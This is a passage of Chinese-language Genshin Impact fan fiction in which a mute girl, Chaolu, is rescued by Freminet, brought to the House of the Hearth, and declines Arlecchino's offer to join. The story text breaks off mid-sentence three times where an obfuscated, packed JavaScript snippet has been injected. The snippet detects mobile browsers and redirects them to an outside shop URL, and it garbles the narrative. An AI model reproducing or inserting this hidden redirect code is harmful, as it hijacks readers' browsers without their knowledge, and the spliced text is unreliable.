没有必要继续留在这里等这个小女孩的回应,菲米尼想,也许林尼和琳妮特更适合应对现在这种场面。在这样自己不擅长处理的时刻,这位不怎么和外人接触的少年想起了自己能说会道的哥哥姐姐。 菲米尼抬腿就要走,却见小女孩忽然有了动作:她抬起手指了指自己的喉咙,摇摇头,接着伸出手拉住了菲米尼身上的潜水服。 菲米尼忽然有了一种不好的预感。“……我要走了。”他尝试挣扎,衣服上清晰的力道丝毫没有减弱。 想走被拉着不能走的菲米尼:…… 菲米尼怀疑他被碰瓷了,他有证据。 - 在你即将失去意识的时候,你感觉自己被人托了起来。 如同在海里掬起一捧水花,像你之前不断下落,现在你不断往上。是一种很安心的感觉。你没有睁开眼,只是更往那个人身上靠去,似乎这样就能透过衣服和布料汲取一丝温暖的体温。 可能是这个人的动作让你有了生还的希望,你感觉自己搭在这个人身上的双手获得了力量。要收紧双手吗?奇异的想法在你的脑海里一闪而过。你仿佛变成了徘徊在海底的水鬼,把所有试图向你伸出双手的人都留在这里,哪怕这样你也会彻底死去。 你以为自己足够冷静,你以为自己足够清醒,你以为自己没有受到原生家庭的影响,但在你不知不觉的时候,那种冷漠与恶意早已淬入你的皮肉。 那种拖着别人一起奔赴死亡的想法很快消失,你没有察觉任何异样。你只是温顺地放松了身体没有挣扎,你知道的,被救援的时候不挣扎才能更好地为双方保存体力,可惜很多人都没有克服身体的本能和下意识的恐惧。 就像是这个托着你向水面游去的人。向他靠去的时候,你能明显地感知到他的身体有一瞬间变得僵硬。是自己也在紧张吗?这么紧张还要救人,真是了不起。你淡淡地在心里点评。 双脚重新站在岸边,你止不住地从肺里呛咳出海水,然后看向了那个把你救上来的“好心人”。他会说些什么呢?你不是很在意。看着那个戴着头盔脸都没有露出来的人,你想:瞧,你的落脚点这不是就来了吗。 于是,你伸出手抓住了他的衣角,用自己的眼睛透过头盔与他对视:你会有足够的价值的。所以,带你回去。 33.枫丹篇-2 菲米尼陷入了对自己的怀疑。 ——为什么、他究竟是为什么会同意带着这个小女孩回布法蒂公馆的呢?而且,菲米尼木着脸,她真的好会得寸进尺啊。虽然确实是他看到小女孩赤裸的双脚之后问出来的吧……但是直接向他伸出双手要抱也太过分了。他原本想的是去给她就近买双鞋子来着。 菲米尼好迷茫。作为壁炉之家的一员、作为“父亲大人”教导出来的孩子,他过去做得最多的就是接受命令。不需要自己去额外思考什么,唯一需要做的就是听从命令的指示,把自己当成机器来运转就可以了。 可是,遇到了这个小女孩之后,菲米尼没有收到任何语言上的“命令”。她什么都不说,他只能从她的动作和神情中判断她的意思。不过,好难判断。先不提菲米尼在和她对视的时候总是会不自觉地避让,单就是小女孩本身就没有什么表情,想从她的表情中观察出她的想法,收获为零。 菲米尼得自己开口、艰难地和小女孩交涉,然后就在对方进一步进一步再进一步的攻势中败退下来。这时候,这位少年开始庆幸自己戴了潜水头盔并且现在也没摘下来了,不然,绝对会把自己难为情的样子暴露在别人面前的吧。 呜……想回到安静无人的海底……要是能在路上忽然遇到林尼和琳妮特就好了……佩伊…… * 你不知道自己在无形中给别人带来了压力,更不知道对方已经在念叨着他自己创造出来的发条企鹅来汲取力量了。 你只是发自内心地觉得:这个全身包裹得严严实实的看不清脸的人,他可真是个好人啊。 明明在海里的时候能感受到他的身体因为你的存在而紧绷,明明回到了陆地上能明显地发现他的每一个动作都在说着他想离开,却在你伸出手抓住他衣角的时候,没有选择直接把你的手拨开。 你知道的,因为你的年龄,很多人都不会在意你的想法,或者,会善意地笑两声,把这当做哄小孩子的把戏。 没关系,不重要,你和大多数人都只会是擦肩而过。 - 是什么让他被你抓住衣角之后僵持了一会儿就愿意把你带回去的呢?是什么让他配合你的步伐前进还能顾及你没有穿鞋会被沙砾刮伤的脚呢。 明明他也不算喜欢你。 你感觉你看到了一只紧张到浑身的刺都竖起来还要颤颤巍巍朝你推来苹果的小刺猬。 会被别人欺负的吧,你对菲米尼做出评价,根本不知道对方壁炉之家成员的身份和执行过多少任务,只暗暗地想,无所谓,你可以罩着他,在你们分道扬镳之前。 * 菲米尼原本是打算直接把这个小女孩带回布法蒂公馆,好让林尼和琳妮特处理的。可走着走着,他听到了来自小女孩肚子的咕咕叫声。 对菲米尼自己来说,饿一顿不算什么,潜水是比较耗费体力的运动,因此现在的菲米尼也有点饿,但还属于能接受的范畴,没到非吃东西不可的地步。可是,为什么她饿了不说? 菲米尼抿唇,苍蓝色的眼眸敛起,就算是他这样不喜欢和别人交流的人,也是会在意自己尝试和别人交流却得不到多少反馈的这件事的。冷下脸,心里想着到了布法蒂公馆绝对不再管这个小女孩的菲米尼走到小店里给小女孩买吃的。 菲米尼遇到的这开在路边的小店严格意义上不算是商店,更像是居民在自己的家里单独开出个窗口、少少量的把自己多余的东西卖出去。透过不算大的窗口,能够看到里面错落有致地摆放着晶螺糕、泡泡舒芙蕾、果果软糖等精致的下午茶小甜点。 视线掠过这些小点心,鬼使神差地,菲米尼要了一份白淞鲜汤。“一份白淞鲜汤是吗?好嘞!”性情爽朗的主人从小火保温的大锅里勺出颜色透亮的汤水,把打包好的白淞鲜汤递出去的同时也收下了菲米尼递来的摩拉。 白淞鲜汤是枫丹常见的汤品,起初的渔民把卖不出去的杂鱼放到锅里煮一煮的晚餐,之后因为味道鲜美而渐渐流传开来。 ……也是菲米尼自己喜欢的汤品。 - 菲米尼觉得现在的自己有点陌生。 看着小女孩喝还温热着的白淞鲜汤而眯起的双眼,菲米尼怀疑自己昏了头。他以为这种分享自己喜欢的食物的环节不会发生在他身上的,起码不会发生在他和他的【家人】之外。如果是只有白淞鲜汤可选也还好,事实却是他考虑了晶螺糕等甜品后仍选择了白淞鲜汤。 为什么会这样呢。菲米尼感到一阵恐慌,是不是他选了其他的食物会更好?……或者没必要给她买吃的……大概把她救上来之后不应该带着她离开的……也许一开始就不应该把她捞上来。 如同蚌壳被撬开时的惊恐,菲米尼感受到了一种无名的威胁,但他找不到这种威胁的来源。 会好的……菲米尼这样对自己重复,等回到布法蒂公馆,等把这个小女孩交给林尼和琳妮特之后,一切都会好的。 * 你开始琢磨自己是不是给这个人下蛊了。天可怜见,你一句话都没和他说过。 先是你表露想跟他走的意愿他就同意了把你带上,再是发现你没有穿鞋就抱着你赶路,到现在的听到你肚子叫就给你买东西。或许还特意考虑到了小孩子容易积食、从而选择了用汤给你暖暖胃? 你小口小口地啜饮着这份白淞鲜汤,一次两次的好意还能理解,短时间内多次的善举却容易让人思考背后的深意。是想从你的身上得到什么吗。只要不是觊觎你身体里的器官和想把你卖了,其他的也不是不能考虑。 温暖的、鲜香的味道在嘴里弥漫开来,从你的味蕾一直传递到你的心里。胃里有东西充盈的感觉让你不由柔和了眉眼。 - 喝完汤之后,不知道在想什么没再开口的黑衣人和你顺利来到了目的地。 在路上,你看着路边的风景从树林逐渐变成水泥森林,目的地更是连一块地砖都透露着风雅气息,不由陷入沉思:你这是、到枫丹廷了? 一下子就实现了自己父母毕生梦想的你侧目看向身边沉默的少年,似乎比起被收留更有可能的是被送到警备队,在这种地方的话。 也行,你会用自己的能力证明你有留在警备队的资格、然后遇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16114798|177514||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到这位少年逃单的的时候给他买单的。你淡定地想好了万一没被收留的后路。 “菲米尼,你回来了。”一个平静的女声响起,你和身边的人一起望去,映入眼帘的是一个头上有猫耳、身后有尾巴的美少女,脑袋后有大大的蓝色菱格蝴蝶结,左肩处的布料上同样有着蝴蝶结,冷淡的脸上还画着五角星。 在她的身边,是一个和她同样发色和眸色的少年,短发编成小辫,脸上有泪滴的图案,头上戴着魔术帽,看上去要比那个美少女更开朗,同样打了个招呼:“菲米尼,你回来了啊。” 你身边的人应了一声,虽然没说很多话,你能感觉出来他一下子放松了不少。不知道为什么,你忽然觉得自己有点多余。 你仿佛误入了别人的私密空间,这里的空气这样说。 ……要不,还是另谋出路吧。你看着有点眼熟的明显有血缘关系的两人,缓缓地想。再见了,“菲米尼”,你下次再给他支付这次救援加带路加买汤的报酬吧。 * “是你。”淡紫色的眼睛与你漆黑的眼睛对视,你在少女的眼里看到了一丝惊喜。不知道为什么,你有点汗流浃背了。 恍恍惚惚间,你好像听到自己耳边有鸣笛的声音。“危险!危险!”似乎有小人吹着号角这样叫。 你知道少女没有恶意,只是…… “我很想你。”普通的语气说出了肉麻的话,你被猫耳少女抱进了怀里,鼻尖被对方身上糕点的芳香充斥。 “琳妮特……你们、认识?”是带你来到这里的人的声音。从他的声音里你能感觉到他的迷茫。好巧,你现在也是这种感觉。 琳妮特,好耳熟的名字。是不是还和另一个名字一起的?你在自己的记忆里翻翻找找,翻到了自己以前遇到的一对兄妹,哥哥叫林尼,妹妹叫琳妮特,当时他们在练习魔术。 嗯,练习怎么更自然地变出花的魔术。出门摘泡泡桔的你正好在他们中途休息的时候遇到,旁观着他们手上的花从路边的沫洁草变成柔灯铃在变成虹彩蔷薇。 你不讨厌为自己想要实现的目标而付出汗水的人。虽然观看这场表演并非你的本愿,但是你愿意为此支付两个泡泡桔的报酬。 一人一个,再多的就没有了。 把泡泡桔放到他们旁边,你安静地走掉了。你不知道他们是不是真的有看到你,他们也没有跟你打招呼。不重要,你确实看了一场表演,哪怕舞台不够盛大。 回家的路上,突发奇想的你在路边摘了一棵沫洁草,把它握在手里晃了晃,然后摊开手心。 看,一个泡泡桔。 感觉不是很难。 - 在你的眼里这没有什么,只是普普通通的一天。在琳妮特的眼里却不一样。 ……那个泡泡桔,很甜。 哥哥可以有猫猫罗瑟兰,她也可以拥有你的吧?琳妮特想要。红色的头发,像燃烧的火焰一样,好温暖。 可惜被林尼阻止了。林尼说你是个有自己家的小孩,琳妮特不能把你当小猫一样捡回去。观察了你一阵子后,琳妮特遗憾地放弃了。 34.枫丹篇-3 有家的孩子,应该会更幸福吧,自幼年起就和哥哥一起流落街头的琳妮特这样想。直到被【父亲大人】捡回了壁炉之家,他们才算结束了颠沛流离的生活。 虽然不知道名字,但还是希望你能够活得很好。这样就够了。 ——直到看到你和菲米尼一起出现。 - 啊……你倒是没有想过离开了那里还会被从前的人认出来,这种感觉就像你向水面游去、都已经看到上方的白光了,却忽然感觉到脚踝处传来一阵拉力——有谁在水下抓住了你的脚的感觉。 不过,大概不算什么坏事。你温顺地被琳妮特抱在怀里,感受着琳妮特边轻柔地拍着你的背边平淡无波地和菲米尼讲述你们相遇的往事,又问菲米尼是怎么遇到你的,就这样交谈。 而被带进布法蒂公馆的你被琳妮特抱着,感觉自己变成了一只在晒太阳的猫,耳边是平静的话音,你眨眨眼睛,忽然有点想睡觉了。 “……那么,你就先住在这里吧,可以吗?”忽然间,琳妮特低头问你,你冷不丁地直直望进那双带着神秘色彩的紫色眼睛里。你点了点头表示同意,接着微微挣开琳妮特的怀抱,用手指指了指你的喉咙,随后又摆摆手。 离开那个你住了很久的房子之后,你开始感到不能开口这件事有点麻烦,一想到之后遇到其他的人、别人和你搭话你都得来一套这样的动作你就觉得自己的手都提前累了。 要不,还是干脆买一件上面写着“我是哑巴”的衣服穿在身上吧。你这样思考,完美地解决了和别人沟通前还需要一大段动作的问题,只需要往衣服上一指就可以了。 * “这样……”琳妮特站在原地思考了片刻,转身进入某个房间里拿了纸和笔出来,放到你面前的桌上:“把你的名字写下来吧,我想知道你的名字。”琳妮特脸上依旧没有什么表情,你却似乎从她紫色的眼睛里看到了亮晶晶的期待。 你:…… 名字不算什么,就是这种来自别人的期待、你可能还需要一段时间来适应。 你状若无事地接过纸笔,在上面写下了“朝露”两个字。朝露,这就是你的名字,清晨转瞬即逝的露珠。你的名字只是在你出生之后父母随便扫一眼看到了树叶上的露珠而取下的,没什么深刻的含义。 离开了那里之后需要给自己换个名字吗?没必要,名字只是一个称呼,你已经习惯了它。说什么“寓意不好”、你会像自己的名字那样在阳光下消逝?这里是枫丹,有着提瓦特七国里最绵延的雨幕。 “朝露,很好听的名字。”你听到琳妮特这样说。 好巧,你也是这样觉得的。 视线掠过琳妮特头上的猫耳,你看到菲米尼、也就是那个把你带到这里的人已经摘下了他的潜水头盔,露出了他淡金色的发丝,还有那双与海水同色的苍蓝眼眸,鼻翼间点缀着星星点点的雀斑。 发现你在看着他,菲米尼不自在地抿了抿唇。 - “……这是、你的房间。”趁着琳妮特离开的间隙,菲米尼把你带到一个房间面前,磕磕绊绊地说。可以从他的声音、神情和细枝末节的动作中观察出他很不适应这种摘下头盔面对面和别人说话的事情。 你原本被琳妮特热情的贴贴吓了一跳的心在看到菲米尼之后迅速地平静下来。保持住这种适度的冷淡,这样就是最好的! 你的心里想了很多,表现在动作上的只是点了点头,然后拉开门走了进去。 你好好想想之后的路要怎么走才行。 …… * 第二天一早,客厅里传来琳妮特的声音,她在和自己的兄长还有菲米尼讨论谁能养你。 “林尼太忙,不作考虑;菲米尼不喜欢和别人接触。至于我,”说到这里,琳妮特微微抬起下巴:“我可以和她一起分享下午茶。” “好了好了,琳妮特,这种事还是让朝露自己决定吧。”林尼面上带笑,略有几分无奈地看着自己的胞妹。他能理解琳妮特现在这种好心情,就像是以为自己曾经想要却只能错过的猫猫现在又出现在面前蹭了蹭腿,会想要立刻把这只猫猫带回家,这很正常。 只是琳妮特,太心急的话,猫猫会被吓跑的哦? 林尼对你没有太大的印象,他见过太多的人了。作为一名魔术师、作为“魔术光与影”中的光,林尼登上舞台的那一刻就注定他要努力把所有人的目光吸引到自己的身上。他不记得你,也不讨厌你。如果琳妮特喜欢的话,也不是不可以。 两双相同的紫色眼睛于空中对视,相似的面孔里一张带笑,一张面无表情。也许在不知不觉间,这对双子就完成了不为人知的信息交换;又或者,他们只是在对峙? 莫名地,菲米尼觉得自己好像不应该出现在这里。 菲米尼看看林尼,又看看琳妮特,接着把目光投向自己身边的佩伊,像是从一直陪伴自己的发条企鹅身上获得了勇气,他艰涩地张开口:“……我、要养她的话,我也可以的。” 当然,不是因为他喜欢你所以自己提出要养你。菲米尼不喜欢朝露。只是、是他把她带回来的,是他带回了这个不定因素,现在才会引发林尼和琳妮特之间的这场不像争吵的争吵。 菲米尼抿唇,如果有一个人要来照顾你,他认为这个人应当是他自己。在你做出危害他的【家人】的事情之前,在你离开之前,他会一直、一直地看着你。 ……而且,说不定你根本轮不到他们来养,你还能回到自己的家呢。 - 这个点了,朝露还没有起来吗?客厅里的三人讨论了一轮之后还是没等到人出来,终于发现了不对。 作为和朝露同性别的女生,琳妮特率先打开了朝露的房门,一眼看到了躺在床上的、脸蛋红得几乎融进那头红发的小女孩。 手撩起被汗闷湿的刘海 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16124813|177514||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,琳妮特探上朝露的额头,一片滚烫。“她发烧了。”琳妮特转过头对林尼和菲米尼说,任谁都听得出她声音里的低落。 她早应该意识到的,朝露昨天掉进海里、又穿着湿衣服跟着菲米尼走了一路的事情。是才七岁的小孩子,身体的抵抗力还没那么好呢。看着病倒的朝露,琳妮特的心酸酸软软的。 要让琳妮特来说,为什么会那么喜欢你?琳妮特也不一定能给出准确的答案。只是因为之前见过一面吗,不一定。 体验过流离失所的滋味的孩子都会变得懂事,为了能留在庇护之所,为了保住这仅剩的庇护之所,他们什么都能做。在这样的环境下,人的精神就像是绷紧的弓弦,谁也不知道什么时候断裂。壁炉之家并不缺人,永远会有无家可归的孩子加入,在至冬女皇那炽烈的愿望面前,人也只是一种耗材。 琳妮特并不会怪罪【父亲大人】,比起前一任的【母亲大人】,严厉的【父亲大人】已经对他们很好了,琳妮特发自内心地感谢那位让他们称呼她为“父亲大人”的女士。 只是,断裂的弦不会因人的意志转移。 为了让自己能够活下去、为了能够陪伴林尼和菲米尼更久、为了父亲大人的意志能够继续被她贯彻,琳妮特需要时常让自己的心情变得平静,泡茶、喂猫、发呆……怎样都好。 可是你出现了。如同昏沉沉的天空里升起一轮烈日,它的光芒穿透了所有阴霾,直直照射到琳妮特哭泣的心里。只是看着你,她就会忍不住变得平静,仿佛沐浴在暖洋洋的光辉里。 琳妮特喜欢你鲜红的头发,琳妮特喜欢你漆黑的眼睛,琳妮特喜欢你,琳妮特想要留下你。 * 你知道自己发烧了。 眼皮变得沉重、呼吸也透着热意,但你意识到的时候身子已经软绵绵的了,这时的你连一个水杯都推不动。 会死掉吗?人生没有结束在失足的海里反倒要在得救之后被好心人带回家的阶段结束。会懊悔吗?你没有多少值得后悔的事,就算你现在病得不行。会感到意外吗?也没有。人本来就是很脆弱的生物,皮肤划破了感染细菌会死去,从飞在天上的枫丹科学院摔下来会死去,太难过了也会死去,据说只是一场大水、也能让全体枫丹人死去。 正如你可以很快地上手一个不算复杂的小魔术,你或许,也只是在奔赴死亡这方面依然领先了别人许多。 …… “朝露,张嘴。”朦朦胧胧间,你感觉有人轻轻拍着你的脸这样跟你说。你还记得自己在哪里,你依稀知道周围是大约可信的,你微微启唇,任由纤细又带茧的手指把药片送进你的嘴里,接着上半身被托起,一杯水被缓缓地灌进了你干咳的喉咙里。 你能感受到有人拿着毛巾细致地给你擦去身上的虚汗,动作很温柔:“睡吧,朝露,你会好起来的。” 大概是在药物的作用下,原本有一点清醒的你又沉沉睡去。 35.枫丹篇-4 好饿。 入夜,你因为饥饿睁开了眼。肚子好饿,喉咙也好干,你皱起眉。指尖微屈朝向掌心,以掌根为着力点,你用手掌抵在床上撑起了自己沉重的身体。 没记错的话,厨房应该是这个方向……穿上摆在床前毛茸茸的拖鞋,你拖曳着自己的身体向白天琳妮特跟你聊天时提到的方位踱去,希望厨房里还有吃的,要是等你好不容易摸到厨房结果发现里面空空如也的话,那你也没有办法。 你现在还能动弹都是凭着想要吃点什么的信念和空空荡荡的胃囊搅在一起的如针刺的酸痛的逼迫感在支撑着你。让你在探了个空之后继续努力?怎么努力,去敲开别人的房门让睡着的人爬起来给你做饭?或者说,你自己爬到外面的街道上看还有没有店家在营业? 前者的话,你还没有体现自己的价值,一时的预支可以,过多的预支就会变成透支。后者的话,你没有摩拉。难道要再去赌好心人吗?昏暗的夜色里除了灯光还有麻袋。 你不会把希望寄托在别人身上。如果你那么做了,只有一种可能:事情的结果无论怎样你都能接受。如同把一枚硬币抛起,你不在意结果的正面与反面,也就不要求这个抛硬币的人一定得是自己。 实在不行的话,你漆黑的瞳孔中映照不出光芒,漠然地想,你就从自己的手臂上撕咬一块肉下来好了。怎么都能撑到第二天的。 - 事情并没有发展到需要你对自己下口的地步,刚走到能看到厨房的地方,你就望见了厨房里还亮着的光以及一个人影。 你走了过去。 “啊,是你啊,林尼大哥跟我们说起过你。”这个顶着一头棕色小卷毛的少年也看到了你,态度很是热情,“他说你是琳妮特姐姐期待了很久的朋友,”说着,他露出恍然的神色:“你来到这里,一定也是饿了吧?我刚做了些洋葱汤,还热乎着呢,你要来点吗?不要也没关系,那里还有一些没热的面包棍。” 你的视线礼貌地扫过这个人的身前,汤盅上还冒着热气,里面的汤色浓郁,表面还浮着上脆下软的面包片,空气中弥漫着洋葱和奶酪烘烤过的香气。 毫无疑问,这是一份看上去无比美味的枫丹洋葱汤。唯一的问题是,它明显是一人份的。也就是说,你要是分了这份洋葱汤的话,这个人就会饿肚子。 于是,你摇摇头,示意你热一热面包棍就行了。一边比划着,你一边拿起一条面包棍,准备把它放到锅里。由于年龄的关系,你的手不算大,一只手圈不住面包棍,你是用两只手抱着面包棍把它放到锅里的。 刚放到锅里,面包棍就发出“哐当——”的声响。 旋转锅下面加热的按钮,你默默地移开眼,是的,面包棍是这样的,你以前还拿面包棍敲过钉子。 大概是知道自己没多久就能吃到热乎乎的面包棍,尽管肚子还是很饿,连你也没有发现自己原本皱着的眉已不知何时舒展开来。 没过多久,面包棍变得松软,散发出迷人的香气。你执起餐刀将面包棍切成一片一片的,用刀尖刺进一片面包片把它喂进嘴里,在揉面时就已经撒了盐的面包片此时美味无比。 恍恍惚惚间,你感觉自己原本因饥饿而皱缩在一起的胃袋终于被它所期待的食物填充,重新变得平滑,发出雀跃的声音。 你安静地吃着面包片,那位棕色小卷毛也在闷头品尝着他的那份枫丹洋葱汤。 你想,这或许不是个糟糕的夜晚。 * 填饱了肚子的你安安稳稳地睡了一觉。 “笃,笃,笃”,你刚睡醒,就听到了有人在敲你的房门。不知道为什么,这敲门声给你一种耐心的猎人守在洞穴口等待猎物出现的感觉。 要开门吗?你不想。可以不开吗?你现在还待在别人的地盘。这一刻,你想要展现自己价值的欲望空前强烈:就这么白白死掉的话,或多或少有点可惜吧?你可是认为自己超级厉害的。 而现实却是你落水,你被救,你生病,看不出你的一点价值,只能看出你的累赘,你的形如虫蚁。 你没有犹豫多久就开了门。出乎你的意料,你原本以为会是菲米尼、琳妮特、林尼他们,或者是其他的小孩子来叫你,但你看到的却是一位成年女性,她有着灰白的长发,浑身散发着优雅又富有压迫感的气息。 更特别的是,她有着一双如化不开的墨的眼眸,乌黑的眼眸中有着鲜红的“×”形图案。 你抬起头直直地与那位威严的女性对视。 “你就是菲米尼带回来的那个小孩?跟我来吧,他们都在等你。”她径直开口,没有等你的回应,说完就转身走了,带着跟的鞋子敲击地面,发出带着节奏的声响。 你跟了上去。 大厅里,你认识的菲米尼、琳妮特、棕色小卷毛、林尼,还有其他的许多少年都在这里。看到走在你前面的女人,他们的目光如同被火烧痛一般迅速收回,不约而同地低下头颅,鞠躬齐呼:“父亲大人!” 你依旧直直地看着她的背影。 在这一刻,你有一种诡异的直觉,它附在你的耳边悄悄地说:瞧,你想要的那个能证明自己的时刻,它来了。 - ……希望,朝露能给出父亲大人会满意的回答。菲米尼垂下眼眸,眼睫微微颤动。 朝露,会成为壁炉之家的一员吗?不知道怎么地,菲米尼忽然想起了自己还没进入壁炉之家的时光。 在他的记忆里,那是一段很温暖的时光。虽然没有父亲,虽然母亲每天都早出晚归地在卖力地工作,但母亲把她所能给的爱都给了菲米尼。直到有一天,年幼的菲米尼被自己的母亲带到了壁炉之家,交给了那时的【仆人】,至冬国的愚人众执行官,库嘉维娜。 菲米尼以为自己听话、自己乖乖地等待,总有一天能等到母亲带他回家的,可他没有等到。 ……直到最后才发现,原 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16136672|177514||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来母亲是为了让他能活下去,才把他交给了壁炉之家,自己一个人去面对因父亲欠下的庞大债务而找上门的收债人。 从过往中回过神来,菲米尼忽然有点看不清自己,他不知道自己究竟希不希望朝露加入壁炉之家,又是出于怎样的原因。 * 今天一早,在客厅里思考让谁去叫朝露起床、朝露有没有好转一点的琳妮特、菲米尼和林尼迎来了忽然出现的父亲大人,阿蕾奇诺。 之后,便是阿蕾奇诺主动提出去接触朝露的事情了。 …… 餐桌上出奇的寂静,没有人说话。阿蕾奇诺神情自若地享用摆放在她面前的生肉塔塔,她不喜欢调味太多的菜肴,对她来说生肉塔塔正好。 吃完饭后,大家默契地离开了,把这里的空间留给了布法蒂公馆的实际拥有者和刚到不久的朝露。 - 阿蕾奇诺对壁炉之家的孩子有很多要求。希望他们能够时刻手握主动权、希望他们能坚强的向困难发起挑战、不希望他们软弱地哭泣或是逃避……林林总总,归根结底不过是希望他们都能很好地活下去。 她对这些孩子严厉而又慈爱,留给外人的只剩寒冬般的冷酷。 “你要加入壁炉之家吗?”其他的孩子散去之后,阿蕾奇诺看着面前小小的女孩,单刀直入。 阿蕾奇诺知道在有的人眼里壁炉之家这个愚人众的组织可谓是“臭名昭著”,但对于这里面的孩子而言,所有脏污与不堪的,所有忠诚与崇高的,都可以在炉火的温暖中安然入睡。 * 对于一个哑巴来说,她会更留恋她看到的一切、她听到的一切吗?这个问题你给不出准确的答案。 你只是在看到众人都因面前的女人而缄默时明白:你不会成为他们的一员。你从你熟悉的地方离开,不是为了从一个牢笼跳到另一个牢笼里的。——再怎么说,壁炉之家也太小了吧?作为“另一个牢笼”,起码得有一个提瓦特那么大才行。 听到面前的人的提问时,你正在垂下眼眸看自己手边的东西,那是菲米尼在走之前放到你旁边的写字板,能够轻易地看出这块写字板经过了特殊的改造,用附带的笔写下的内容可以被擦除,以供多次使用。 你知道自己现在应该回答对方的提问,你已经拿起了笔准备在写字板上留下自己的答复,脑海里却不期然闪过菲米尼的眼睛,一如你们相遇时你跌进的那片海。 [我不会加入壁炉之家。但作为我留宿的回报,你可以给我指派任务,我会完成。另外,]阿蕾奇诺垂下眼眸看你做出回答,发现写到这里时你的眼里闪过了明显的犹豫,最后还是坚定地落笔:[如果菲米尼愿意的话,我可以领养他。] 当然,如果菲米尼在这里过得很好的话,用不到你多管闲事。随意假设别人过得很好或者不好都是一种傲慢,你会做的只是提供多一种选择。 ……看在他救了你的份上。 36.枫丹篇-5 阿蕾奇诺不讨厌有自己想法的小孩子,她不讨厌明知自己的选择会有什么后果还毅然坚持的人。当然,还得能够活下来才行。 这位优雅的成年女性目光扫过你手上的茧子,扫过你露出的细伶的膝弯,你的身上还穿着琳妮特以前的衣服,在腰封处别着蓝黑双色的蝴蝶结。明明是靠着菲米尼的救援才能活下来的人,她想知道你拒绝加入壁炉之家的底气在哪。 如果只是凭着一腔孤勇的话,未免太过无趣。阿蕾奇诺修长的双腿交叠在一起,神色不变地开口:“指派任务的话,可以。不过,就算你不加入壁炉之家,任务失败也一样会受到惩罚。至于菲米尼,你可以自己去问他。只要能够支付代价,我不会阻止任何人离开壁炉之家。” 向她证明,离开了壁炉之家的孩子依然能活得很好。否则,免谈。 - 你能够很明显地感觉到自己正在被人打量。不如说,面前的这位女士根本没打算掩藏这一点。你想了想自己提出的诉求,瞬间理解了对方的行为。 是评估你是否真的如自己所说的那样能够胜任指派的任务对吧。没有从对方的视线中感受到恶意的你从阿蕾奇诺手中接过对方递来的纸条,随后目送对方施施然地远去。 比起你这个才来两三天、其中大半时间还都用来睡觉的家伙,阿蕾奇诺显然更熟悉布法蒂公馆。 你没有在意对方的行踪,转而低头打开了折起的纸条。 * 你被分配的任务是把一批物资从一个地方运到另一个地方,这位女士甚至还给你批了任务专项资金。很好,出发地果然不是枫丹廷,你就知道你的运气没那么好。说不定你的好运都用来换取之前在海里不断下沉都会被救上来了呢。 这么一想,你又觉得你其实还挺幸运的。 至于布法蒂公馆……有的话不必说得很明白,你知道当你表露出不会加入壁炉之家的意愿时就注定你不可能留下来。或者说,你可以在这里住到你动身的时候? 你看着自己手上的这块写字板,它其实不算很大,对有的人来说素白的颜色显得太过单调,但你留意到它的边边角角都打磨得很圆润。 给了你的就不能收回去了哦。 - 现在,收起写字板的你要开始着手任务了。 你知道,哪怕没有明说,你这个任务做得怎么样会在一定程度牵涉到那位有着苍蓝色眼眸的少年。作为字面意义上的把你带回布法蒂公馆的人,在别人的眼里他天然地需要为你的行为承担责任。 你还挺不习惯这种自己的名字和另一个人同事提起的情况的。 不过,退一万步来说,菲米尼是不会被你连累的,你有分寸。 而你要做的第一件事是,抵达物资的所在地,然后把物资运到它要去的目的地。至于这批物资是什么?为什么不能把它们交出去给官方运输?这不是你该思考的问题。当你得出答案的时候,说不定你就已经陷入了旋涡。 你可不会游泳。 你看了看你要去的地方,嗯……也就是小半个枫丹的距离,时限是一个月,你要把东西完好无损地送过去。 至于之后要怎么做,到时再说吧,这种事情怎样都好。而且,非常详细乃至于详细到事无巨细的计划你没有,大致的模糊的计划你还是有的。 * “朝露,你要走了吗。”是傍晚回来的琳妮特把你抱在怀里闷闷地问。 他们知道,有的事情他们可以干预,但有的事情不行。在父亲大人已经表态的情况下,在你的个人意愿之下,他们的再多想法都要退让。 以后还会相遇吗,琳妮特想问,她和你之间的第一面和第二面就隔了好几年的时间。琳妮特没有问出口。 作为魔术师的助手,琳妮特足够敏锐。她知道你对她还不是很亲近,只是她认为这没什么。除了家人,大多数人之间的感情都是靠眼缘和时间堆积而成的,琳妮特认为这一次你们能有足够的时间。 只是现在看来,她的期望又要落空了。 菲米尼看着琳妮特怀里的那个红发女孩,没有说话。 既然是父亲大人做出的安排,那就是正确的。已经得知你不会加入壁炉之家、只是会替他们完成一个任务的菲米尼这样想,你不会成为他的[家人]。现在这样应该就是最好的处理方式,你会在完成任务之后消失不见,他也不用再担心你对琳妮特造成的影响了。 